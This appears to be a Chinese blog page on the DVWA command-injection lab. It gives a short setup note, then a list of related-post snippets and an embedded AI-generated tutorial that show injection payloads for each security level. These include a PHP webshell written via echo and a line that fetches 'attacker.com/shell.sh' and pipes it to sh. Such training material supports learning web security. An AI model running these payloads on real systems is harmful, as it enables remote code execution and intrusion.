Dvwa练习02 Command Injection 命令注入

最新推荐文章于 2024-07-15 12:13:20 发布
原创 最新推荐文章于 2024-07-15 12:13:20 发布 · 501 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全

本文介绍了在DVWA中进行Command Injection练习的过程，详细讨论了不同安全级别下如何利用命令连接符执行命令。在Low级别，成功执行了命令；在Medium级别，通过绕过过滤的字符继续执行；在High级别，注意到过滤的是空格而非管道符，从而找到执行命令的方法。

0.准备

打开Command Injection页面，输入本地IP地址，点击提交。返回命令行“ping IP地址”的结果，会发现中文部分乱码了。

打开dvwa\dvwa\includes\dvwaPage.inc.php，将编码“charset=utf-8”都替换为“charset=gb2312”。

再尝试，中文便正确显示了。

最低0.47元/天 解锁文章
DVWA靶场练习二—Command Injection
afei001
05-04 588
Command Injection介绍 Command Injection。意思为：命令注入，是指通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一，国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。 Command Execution命令执行漏洞的产生原...
DVWA关卡2：Command Injection(命令注入漏洞)
m0_54899775的博客
12-06 1274
DVWA关卡2：Command Injection(命令注入漏洞)
DVWA靶场通关（Command injection）
m0_56010012的博客
03-10 1008
命令注入（Command Injection），是指在某些需要输入数据的位置，还构造了恶意的代码破坏了原先的语句结构。而系统缺少有效的过滤，最终达到破坏数据、信息泄露甚至掌控电脑的目的。许多内容管理系统CMS存在命令注入漏洞。 命令执行定义：当应用需要调用一些外部程序去处理内容的情况下，就会用到一些执行系统命令的函数。如PHP中的system，exec，shell_exec等，当用户可以控制命令执行函数中的参数时，将可注入恶意系统命令到正常命令中，造成命令执行攻击。 形成原因：脚本语言优点是简洁，方便，
DVWA通关--命令注入（command injection）
箭雨镜屋
12-13 2903
low 通关步骤 1、输入127.0.0.1试一下有没有回显 有的 2、输入127.0.0.1 | whoami 命令注入成功 3、尝试写入木马 payload：127.0.0.1 | echo "<?php assert($_POST[ele]);?>" > e1.php 这边注意，我试了echo后面的内容不加引号，或者加单引号，都没有文件生成。网上找到的echo的资料中也都是双引号。 submit之后无回显 4、服务器上看当前关卡目录下有文件e1.p
dvwa实战第二篇：Command Injection
爱未央的博客
05-10 571
最近被编译原理搞得神魂颠倒，没时间更新dvwa… 今天写dvwa的第二篇：command injection命令注入。 在开始之前，先对centos进行设置：关闭selinux。 （我看到很多教程好像都没有提到关闭selinux，实测在没有关闭的情况下，命令注入后没有反馈，centos7给出警告如下： 因此首先需要关闭selinux，具体操作如下： centos 7 终端输入vim /etc/sysconfig/selinux，将SELINUX=enforcing改为SELINUX=disabled，保存
DVWA-Command Injection
re1wn
02-09 394
DVWA-Command Injection
dvwa下命令行注入
qq_44159634的博客
12-12 2505
dvwa下命令行注入 在命令行执行时过滤不完全时会导致命令行注入 常用连接符 &&与&：前后命令都执行 |:执行后面的命令，前面命令不执行 low： 输入一个ip，可以看出是ping一下ip payload：127.0.0.1 | ls -an medium 过滤了&&，&和|都没有过滤 high 看别人的wp后，发现"| "有个空格。。。所以直接把空格去了就行了 命令注入绕过方式 https://blog.youkuaiyun.com/weixin_395
DVWA系列---Command Injection命令注入
野原新之助
01-23 754
文章目录一、前言1、命令注入2、命令拼接符二、Low级别（查看源代码）三、Medium级别（查看源代码）四、High级别（查看源代码）五、Impossible级别(查看源代码)六、防御方法 一、前言 1、命令注入 命令注入漏洞主要是指服务器对来自网络的语句，没有进行严格的过滤，导致在执行合法命令的同时，也执行了一些恶意构造的非法命令，使得服务器被破坏。 通常命令注入是指os命令注入，即通过Shel...
DVWA靶场练习（二）——Command Injection
liuzibo1024的博客
07-15 713
命令注入是指由于系统对参数缺少过滤，导致攻击者可以在目标系统上执行任意命令在linux或windows系统上，可以通过命令连接符同时执行多条命令，攻击者往往可以将注入的命令放到连接符之后进行执行。例如。
DVWA命令注入（Command_Injection）出现乱码解决办法（本人的建议）
lyx3429的博客
03-04 961
DVWA命令注入（Command_Injection）出现乱码解决办法（本人的建议） 在做DVWA攻防练习时发现，注入命令返回的信息竟然是乱码，猜测可能是因为DVWA是在windows下部署的原因。 那群人为什么用英文版的我终于知道了，将UTF-8改为GB2312这个办法解决乱码的问题的不全面 在输入 192.168.168.128（虚拟机地址）测试时，发现如下乱码 2.查阅相关资料后，得知在 …/DVWA/dvwa/includes目录下，有个dvwaPage.inc.php文件，将UTF-8改为GB
dvwa之Command Injection
Alsn86的博客
01-15 330
dvwa之Command Injection cmd中的逻辑运算符 &&运算符 命令1 && 命令2 只有命令1正确执行才执行命令2,因为如果命令1为假(命令语法不对)，那么也就知道&&的结果是假了没必要再执行命令2 ||运算符 命令1 || 命令2 只有命令1执行失败 才 执行命令2，因为如果命令1为真(语法正确),就知道||的结果为真了，没必要在执行命令2 |运算符 “|”是管道符，表示将Command 1的输出作为Command 2的输入，并
DVWA和sql注入天书中不报错问题的解决
qq_45100746的博客
05-20 2242
在准备进行SQL注入练习时发现页面中出现以下情形 输入一个‘（单引号），也无任何回显（报错）。此时已将php.ini中的magic_quotes_gpc 改为Off。左想右想，想不明白。上网搜索，网络上说magic_quotes_gpc动态关闭无效，看了之后，也没操作明白。这个问题就被搁置了······（捂脸） 在今天准备练习天书Less-1的时候，也出现了同样的问题（输入‘，无回显）。一想肯定跟DVMA中的问题一样。 所以！！！解决方法就是！！ 1、先明确你当前的php运行环境是哪个版本
DVWA-command injection
qq_44598397的博客
04-15 350
1、command injection 漏洞介绍： **漏洞产生的原因：**程序中的某些功能需要执行系统命令，并通过网页传递参数到后台执行。然而最根本的原因是没有对输入框中的内容做代码过滤，正常情况下输入框只能接收指定类型的数据。 漏洞影响：命令注入漏洞可以使攻击在受攻击的服务器上执行任何命令。 需要用到的知识： &&:前一个指令执行成功，后面的指令才继续执行，就像进行与操作一样 ...
解决dvwa注入测试不报错的问题
m0_48108919的博客
08-02 1315
解决dvwa注入测试不报错的问题 首先找到PHP（我用的PHP版本是5.3.29）配置文件php.ini把里面的magic_quotes_gpc = On改为magic_quotes_gpc = Off 重启服务器，输入1’发现还是不报错，网站左下角查看安全等级发现默认是impossible,把Security Level改为Low/Medium/High（反正不是impossible就行） 再次输入1’成功报错 ...
DVWA靶场--命令注入 （Command Injection）难度（low）
m0_53623242的博客
02-21 4106
作业准备： 1、kali虚拟机 2、靶机：Jdk环境、搭建DVWA靶场、phpStudy（Apache和MySQL都已配置）、BurpSuite抓包 3、虚拟主机
【DVWA】Command Injection（命令行注入）
weixin_48621644的博客
10-11 335
小羊学安全 任重而道远~
DVWA靶机通关攻略第二关——命令注入
小飞飞的博客
03-07 1309
DVWA靶机命令注入详细教学
dvwa靶场Command Injectionmin命令注入
最新发布
04-02
<think>嗯，用户想了解DVWA靶场中的Command Injection漏洞测试和利用方法，需要详细步骤和示例。首先，我得回忆一下DVWA的基本设置，尤其是命令注入的模块。用户可能已经知道DVWA是什么，但可能需要先登录到Low安全级别开始测试。 首先，命令注入通常发生在用户输入被拼接到系统命令中执行的情况下。在DVWA的Command Injection模块，用户输入一个IP地址，然后系统执行ping命令。这时候，如果输入没有经过严格的过滤，攻击者可以注入额外的命令。 比如，在Low安全级别下，后端代码可能直接拼接用户输入的参数到ping命令中，而没有做任何过滤。这时候用户输入类似`127.0.0.1; ls`，分号后面的命令就会被执行。这时候需要给出具体的示例，比如如何利用不同的符号如`&&`、`|`或者`&`来注入命令。 接下来，不同安全级别的防护措施不同。比如Medium级别可能过滤了一些符号，但可能没有完全覆盖，这时候需要测试哪些符号被转义或过滤了。比如，可能过滤了`;`和`&&`，但`|`可能仍然可用，或者需要尝试其他绕过方法，比如用`%0a`（换行符）来分隔命令。 High级别的防护可能更严格，可能只允许特定的输入格式，比如限制输入为IP地址格式。这时候可能需要利用IP地址的格式特性，比如使用`127.0.0.1 || ls`，如果代码检查IP格式是否合法，但后面的命令仍然会被执行的话。或者，使用反引号执行命令，如`$(ls)`。 Impossible级别可能使用了白名单或其他彻底防护的方法，这时候基本无法注入，需要说明其防护机制，比如使用escapeshellarg函数处理参数。 在漏洞利用示例中，要分级别展示不同的注入方式，并说明如何通过Burp Suite这样的工具拦截请求，修改参数，或者直接在输入框中输入注入命令。还要注意不同操作系统下的命令差异，比如Windows和Linux的符号可能不同，但DVWA通常运行在Linux环境下。 另外，生成的相关问题需要考虑用户可能进一步想知道如何防御命令注入，或者DVWA其他漏洞模块的测试方法，比如SQL注入或XSS。还要注意提醒用户只在合法授权的环境下进行测试，避免法律问题。 现在需要确保回答结构清晰，步骤正确，示例准确，并且引用格式正确。要检查是否有遗漏的安全级别或常见绕过方法，比如使用反斜杠转义或者编码绕过过滤。同时，要确保给出的代码示例正确，比如PHP中可能存在漏洞的代码部分，以及防护措施如参数化执行或输入验证。</think># DVWA Command Injection漏洞测试与利用方法 ## 一、漏洞原理 命令注入漏洞产生于未正确过滤用户输入的情况下，攻击者通过拼接系统命令实现任意命令执行。DVWA的Command Injection模块模拟了`ping`功能，其基础命令为： $$ ping -c 4 {user_input} $$ 当用户输入包含`;`、`&&`、`|`等命令分隔符时，可注入额外命令[^1]。 ## 二、安全测试步骤（分安全等级） ### 1. Low安全级别 **测试方法**： ```http POST /vulnerabilities/exec/ HTTP/1.1 Host: localhost ... ip=127.0.0.1;whoami&Submit=Submit ``` **注入示例**： - `127.0.0.1; ls /` 列出根目录 - `127.0.0.1 && cat /etc/passwd` 查看系统账户 ### 2. Medium安全级别 **过滤机制**： ```php $target = str_replace(';', '', $target); // 移除分号 ``` **绕过方法**： ```http ip=127.0.0.1%0aid && ping -c 4 127.0.0.1 ``` 使用换行符`%0a`或未过滤的`&`符号 ### 3. High安全级别 **防护代码**： ```php if( preg_match( '/^[0-9.]+$/i', $target ) ) // 限制数字和点号 ``` **绕过示例**： ```bash 127.0.0.1 || ls -al ``` 利用逻辑运算符绕过正则检测 ### 4. Impossible级别 **防护措施**： ```php $target = escapeshellarg($target); // 参数化处理 $cmd = shell_exec('ping -c 4 '.$target); ``` 此时无法进行命令注入 ## 三、漏洞利用演示 **Burp Suite拦截修改**： ```http POST /vulnerabilities/exec/ HTTP/1.1 ... ip=127.0.0.1;curl+http://attacker.com/shell.sh+|+sh ``` 该payload将下载并执行远程脚本 ## 四、防御方案 1. 使用`exec($command, $output)`替代直接命令拼接 2. 实施白名单验证： ```php if (!preg_match('/^[0-9.]+$/', $ip)) { die("Invalid IP format"); } ``` 3. 参数化处理： ```php $clean_ip = escapeshellarg($_POST['ip']); ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旧时幻梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值